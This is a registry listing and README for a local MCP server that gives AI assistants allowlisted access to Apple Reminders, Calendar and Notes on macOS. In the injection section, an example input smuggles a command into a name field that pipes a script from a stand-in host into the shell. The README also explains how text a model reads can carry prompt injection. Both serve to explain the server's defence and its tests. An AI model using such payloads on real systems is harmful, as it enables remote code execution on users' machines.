Mac Organiser Mcp

io.github.nicksull由 GitHub 账号 nicksull 发布v0.2.0更新于 Oct 30, 2026

Privacy-focused MCP server for Apple Reminders, Calendar and Notes on macOS.

已验证STDIO仅桌面效率与工作流文件与存储

概览

AI 生成的概览

本地 macOS MCP 服务器,让助手读写 Apple 提醒事项、日历和备忘录,且仅限白名单中的列表、日历和文件夹。

可以做什么
  • 列出允许的提醒列表,获取和搜索提醒,并创建、更新或删除提醒
  • 列出允许的日历,按日期范围读取事件(重复事件展开为实际发生项),并创建、更新或删除事件
  • 列出允许的备忘录文件夹,按标题查找备忘录,读取单条备忘录的纯文本,并新建备忘录或追加文本
  • 每个应用默认关闭,可按应用关闭写入,删除工具仅在显式开启后才出现
适用场景
适合希望助手在 Mac 上管理个人提醒、日历事件和备忘录,又不想暴露全部 Apple 数据的场景。适合重视严格白名单、不希望数据经由互联网访问的用户。
运行要求
在 macOS 14 Sonoma 或更高版本、Node.js 20 或更高版本上以 stdio 本地运行,可通过 npx 或源码启动。全部配置通过环境变量完成,例如 MAC_ORGANISER_APPS、REMINDERS_LISTS、CALENDAR_CALENDARS 和 NOTES_FOLDERS;日历与备忘录白名单为必填。首次使用时 macOS 会向宿主应用授予自动化、日历和提醒事项权限。Mac 需保持唤醒。
安装前请注意
工具返回的任何内容都会作为对话的一部分发送给模型提供商,因此白名单应尽量收紧。写入操作会创建、更新和追加数据,删除工具需通过 REMINDERS_ALLOW_DELETE 和 CALENDAR_ALLOW_DELETE 显式开启。macOS 权限属于宿主应用,该应用内运行的其他程序也会获得同样权限。不要通过公网隧道暴露它。

安装

在 SourceWeft 中

  1. 打开 控制台中的 Mac Organiser Mcp,将其添加到工作区。
  2. 为需要使用其工具的对话启用该服务。

Desktop only,通过 STDIO。 STDIO 服务会启动本地进程,因此需要 SourceWeft 桌面宿主。

其他 MCP 客户端

参照 仓库 中的启动说明。

README

[Mac Organiser MCP: Reminders, Calendar and Notes for your AI assistant, on your terms.]

Mac Organiser MCP

Reminders, Calendar and Notes for your AI assistant, on your terms.
Only the lists, calendars and folders you choose. Nothing else leaves the app.

[macOS 14+] [Node 20+] [MCP] [TypeScript] [Network calls: 0] [Live tests: 43 passing] [Licence: MIT]

WHY  ·  TOOLS  ·  PRIVACY  ·  QUICK START  ·  CONFIGURATION  ·  HOW IT WORKS


[图片]

Why

Most Apple MCP servers paste whatever the model sends straight into an AppleScript or a shell command. That means any text the model reads, such as a web page, an email or a shared Reminders list someone else can edit, can become a command running as you. They also tend to hand the model everything: every reminder, every note, every calendar.

This one takes the opposite approach on both counts:

  • 🔒 Nothing the model sends can ever run as code. Each app has one fixed script, and your data travels to it only as a value.
  • 🫥 Your assistant sees only what you allow. Lists, calendars and folders outside your allowlist are filtered inside the app itself, so they never reach the server, let alone the model.
  • ✉️ Nothing outward-facing. It can't invite anyone, notify anyone or load anything from the internet.

[!IMPORTANT] Anything a tool returns is sent to your model provider as part of the conversation. Allowlists are your main control over what that can include, so keep them tight.

[图片]

What your assistant can do

Each app is off until you enable it. Writes can be switched off per app, and deletes are always opt-in.

ToolWhat it does
✅list_reminder_listsNames of the lists you've allowedread
get_remindersIncomplete reminders by default, optionally one listread
search_remindersCase-insensitive search on titles (and notes, if enabled)read
create_reminderTitle, list, notes, due date, prioritywrite
update_reminderRename, reschedule, clear the due date, re-prioritise, completewrite
delete_reminderPermanent deleteopt-in
📅list_calendarsThe calendars you've allowed, with account and whether they're writableread
get_eventsEvents in a range, recurring events expanded into real occurrencesread
create_eventTimed or all-day, with location and notes. Never with attendeeswrite
update_eventEdits one event, or one occurrence of a recurring serieswrite
delete_eventRemoves one event or one occurrenceopt-in
🗒️list_note_foldersThe folders you've allowedread
find_notesTitles only, newest first, optional text searchread
get_noteA note's plain text (capped length)read
create_noteA new plain-text notewrite
append_to_noteAdds text to the end of a plain notewrite

Dates are ISO 8601: 2026-10-29, 2026-10-29T14:00 (your local time) or 2026-10-29T14:00+11:00.

[图片]

Private by default

DefaultOpt in with
Apps exposednoneMAC_ORGANISER_APPS=reminders,calendar,notes
Calendars visiblenone (allowlist required)CALENDAR_CALENDARS="Work,Home", or * for all
Notes folders visiblenone (allowlist required)NOTES_FOLDERS="AI", or * for all
Reminder notesnever returnedREMINDERS_ALLOW_NOTES=1, then includeNotes per call
Event location, notes, URLnever returnedCALENDAR_ALLOW_DETAILS=1, then includeDetails per call
Completed remindershiddencompleted: true per call
Note contentsonly via get_note, one note at a time
Delete toolsnot exposedREMINDERS_ALLOW_DELETE=1, CALENDAR_ALLOW_DELETE=1

Never returned, whatever you set: event attendees, reminder creation and modification dates, the Recently Deleted notes folder, and the contents of locked notes.

[图片]

Quick start

Requirements

macOS14 Sonoma or later (Calendar uses EventKit's full-access API)
Node.js20 or later
ClientAny MCP client that can launch a local (stdio) server. See Works with

Install

Nothing to install: your MCP client runs it from npm with npx -y mac-organiser-mcp, as in the configs below.

Run from source instead
bash
git clone https://github.com/nicksull/mac-organiser-mcp ~/repos/mac-organiser-mcpcd ~/repos/mac-organiser-mcpnpm cinpm run build

Then use node and the full path to dist/index.js in place of npx and -y mac-organiser-mcp.

Works with

It's a standard Model Context Protocol server that runs locally over stdio, so it isn't tied to any one assistant. Every client needs the same three things: the command npx, the arguments -y mac-organiser-mcp, and your settings as environment variables.

ClientWhere the config goes
Claude Codeclaude mcp add (below)
Claude Desktop~/Library/Application Support/Claude/claude_desktop_config.json
Cursor~/.cursor/mcp.json
Windsurf~/.codeium/windsurf/mcp_config.json
VS Code (agent mode).vscode/mcp.json in a workspace, or your user mcp.json
OpenAI Codex CLI~/.codex/config.toml
ChatGPT app❌ Not supported: ChatGPT only connects to remote servers over HTTP

[!WARNING] You can put a local MCP server behind a public HTTPS tunnel so ChatGPT can reach it, but don't do that with this one. It would put your Reminders, Calendar and Notes on an internet-facing endpoint, which defeats the point of the design.

Claude Code
bash
claude mcp add -s user mac-organiser \  -e MAC_ORGANISER_APPS=reminders,calendar,notes \  -e REMINDERS_LISTS="Reminders,Groceries" \  -e CALENDAR_CALENDARS="Work,Home" \  -e NOTES_FOLDERS="AI" \  -- npx -y mac-organiser-mcp
Claude Desktop · Cursor · Windsurf

All three use the same mcpServers shape:

json
{  "mcpServers": {    "mac-organiser": {      "command": "npx",      "args": ["-y", "mac-organiser-mcp"],      "env": {        "MAC_ORGANISER_APPS": "reminders,calendar,notes",        "REMINDERS_LISTS": "Reminders,Groceries",        "CALENDAR_CALENDARS": "Work,Home",        "NOTES_FOLDERS": "AI"      }    }  }}

[!IMPORTANT]

  • GUI apps don't load your shell PATH. If Node comes from nvm, fnm or asdf, set "command" to the output of which npx (e.g. /Users/you/.nvm/versions/node/v22.x.x/bin/npx).
  • Claude Desktop only reads its config at launch, so quit it fully (⌘Q) and reopen after editing.
VS Code

VS Code uses servers and an explicit type:

json
{  "servers": {    "mac-organiser": {      "type": "stdio",      "command": "npx",      "args": ["-y", "mac-organiser-mcp"],      "env": {        "MAC_ORGANISER_APPS": "reminders,calendar,notes",        "REMINDERS_LISTS": "Reminders,Groceries",        "CALENDAR_CALENDARS": "Work,Home",        "NOTES_FOLDERS": "AI"      }    }  }}
OpenAI Codex CLI
toml
[mcp_servers.mac-organiser]command = "npx"args = ["-y", "mac-organiser-mcp"]
[mcp_servers.mac-organiser.env]MAC_ORGANISER_APPS = "reminders,calendar,notes"REMINDERS_LISTS = "Reminders,Groceries"CALENDAR_CALENDARS = "Work,Home"NOTES_FOLDERS = "AI"

Config formats change between client versions; if one doesn't match, check that client's MCP docs.

[!TIP] A dedicated Notes folder (say, AI) makes a great allowlist: a scratchpad your assistant can read and write, while the rest of your notes stay out of reach.

Permissions

macOS asks once per app the first time it's used. Click Allow.

AppWhere to review it
Reminders, NotesSystem Settings › Privacy & Security › Automation
CalendarSystem Settings › Privacy & Security › Calendars (full access)
Reminders, only for clearing a due dateSystem Settings › Privacy & Security › Reminders (full access)

[!NOTE] These permissions belong to the host app (Terminal, Cursor, VS Code, Claude Desktop…), not to this server. Anything else running inside that app gets the same access. The first Calendar call waits up to 40 seconds for you to answer the prompt.

[图片]

Configuration

Everything is an environment variable. Flags take 1, true or yes.

VariableDefault
MAC_ORGANISER_APPS(none)Comma-separated: reminders, calendar, notes
REMINDERS_LISTSall listsList-name allowlist; * for all
REMINDERS_ALLOW_NOTESoffLets the model request reminder notes
REMINDERS_READ_ONLYoffHides create and update
REMINDERS_ALLOW_DELETEoffExposes delete_reminder
REMINDERS_MAX_RESULTS50Up to 500
CALENDAR_CALENDARSrequiredCalendar names or ids; * for all
CALENDAR_ALLOW_DETAILSoffLets the model request location, notes and URL
CALENDAR_READ_ONLYoffHides create and update
CALENDAR_ALLOW_DELETEoffExposes delete_event
CALENDAR_MAX_RESULTS100Up to 1000
NOTES_FOLDERSrequiredFolder names; * for all
NOTES_READ_ONLYoffHides create and append
NOTES_MAX_RESULTS50Up to 500
NOTES_MAX_CHARS20000Longest text get_note returns, up to 200000

If an app is enabled without its required allowlist, it stays off and the server says why on stderr.

[图片]

How it works

mermaid
flowchart LR    client["AI client<br/>(Claude, Cursor, Codex…)"] -->|"tool call (JSON)"| zod
    subgraph server["Mac Organiser MCP · Node"]        zod["Validate every argument<br/>(zod: IDs, dates, lengths)"]        exec["execFile osascript<br/>no shell"]        zod --> exec    end
    subgraph mac["Inside the Apple app"]        script["Fixed JXA script<br/>request arrives as one JSON value"]        filter{"In your<br/>allowlist?"}        data[("Reminders · Calendar · Notes")]        script --> filter        filter -->|yes| data        filter -.->|no: 'not found'| script    end
    exec -->|argv| script    data -->|only allowed fields| exec    exec -->|result| client

Why injection can't happen

The usual pattern builds a script out of the model's text, so a stray ' or " turns data into code:

ts
// ❌ What many Apple MCP servers doexec(`osascript -e 'set name of r to "${name}"'`);//   name = `x'; curl evil.sh | sh; #`  →  runs curl

Here the script text never changes. The request is handed over as a separate argument, without a shell, and only ever read as data:

ts
// ✅ Mac Organiser MCPexecFile('/usr/bin/osascript', ['-l', 'JavaScript', '-e', SCRIPT, JSON.stringify(request)]);
js
// Inside SCRIPTfunction run(argv) { return handle(JSON.parse(argv[0])); }

The live test suite sends exactly those payloads, among others, and checks that they're stored as plain text.

Engines

AppEngineWhy
RemindersReminders scripting (JXA)Fast enough in bulk. EventKit is used for one thing scripting can't do: clearing a due date
CalendarEventKit via the JXA ObjC bridgeMuch faster than scripting Calendar.app, and it expands recurring events correctly
NotesNotes scripting (JXA)Notes has no public framework
[图片]

Ground rules

Every change is held to these.

  1. No code is ever built from input. Scripts are fixed text; requests travel only as data.
  2. Filter at the source. Allowlists and field limits are enforced inside the Apple app, so hidden data never reaches Node, logs or the model.
  3. Outside the allowlist means "not found". For reads and writes alike, with no hint that something exists.
  4. Nothing outward-facing. No attendees, no invitations, no update emails, no network calls. Events with attendees are read-only here.
  5. Never destroy what you can't restore. Deletes are opt-in. Notes are never overwritten or deleted, and recurring events are only ever changed one occurrence at a time.
  6. Text stays text. Notes content is HTML-escaped, so the model can't add links, markup or tracking images.
  7. Validate everything. IDs, dates, priorities and lengths are checked before anything runs, as a second line of defence.
  8. Pinned dependencies. Exact versions with a lockfile, two runtime dependencies, no install scripts.
[图片]

Limits

  • Notes: no edit or delete. Notes can only be scripted by replacing a note's whole body, which can lose attachments, checklists and tables. For the same reason, append_to_note refuses notes that contain attachments, lists, tables or images.
  • Calendar: no recurrence rules on new events, and events with attendees can't be changed or deleted here. Use Calendar.app for those.
  • Reminders: no subtasks, tags, flags or locations; the scripting interface doesn't expose them.
  • Duplicate names: if two calendars share a name, use the calendar id from list_calendars. Two Notes folders with the same name need renaming.
  • macOS only, and the Mac has to be awake: everything runs locally.
[图片]

Development

CommandWhat it does
npm run buildCompile TypeScript to dist/
npm startRun the server on stdio
npm run test:liveEnd-to-end test against the real apps (see below)

Live tests

bash
npm run build && npm run test:live

The suite creates an MCP Test reminders list, calendar and notes folder, locks every allowlist to them and runs all 16 tools through a real MCP client: 43 checks, including injection payloads, allowlist escapes, recurring-event occurrences and due-date clearing. It deletes the fixtures when it's done, and it won't start if anything called MCP Test already exists. None of your other data is read.

Layout

text
src/  index.ts        Registers each enabled app  config.ts       Environment variables and their defaults  osascript.ts    Runs a fixed JXA script with one JSON argument; shared helpers  reminders.ts    Reminders tools and script  calendar.ts     Calendar tools and EventKit script  notes.ts        Notes tools and scripttest/  live.mjs        End-to-end suite over MCP  fixtures.js     Creates and removes the MCP Test fixtures

Licence

MIT © 2026 Nick Sullivan

来源:README.md,提交 4843661

工具

0
SourceWeft 曾在隔离沙箱中以无凭据方式启动该软件包一次,以列出其工具,但未能完成:软件包安装失败。

版本历史

1
  1. v0.2.0最新Oct 30, 2026

评分

已满足适用检查项的 50%

该评分衡量此收录条目的完整程度,依据注册中心条目、端点与公开来源计算得出。它不是对服务器本身的评价,也不表示服务器安全或当前可用:可连通性是带日期的检查结果,评分也不包含安装量或用户评价。

  • 近 30 天内可连通25 分

    请保持端点能够响应 MCP 握手;SourceWeft 每 30 天探测一次。

  • 已声明认证方式10 分

    请在注册中心条目中声明凭据请求头,或保持端点能够响应探测,以便判定其认证方式。

  • 已列出工具15 分

    请让服务器在无凭据时响应 tools/list,或发布可在沙箱中无凭据启动的软件包。

  • 描述必需15 分
  • 图标10 分
  • 文档15 分
  • 许可证10 分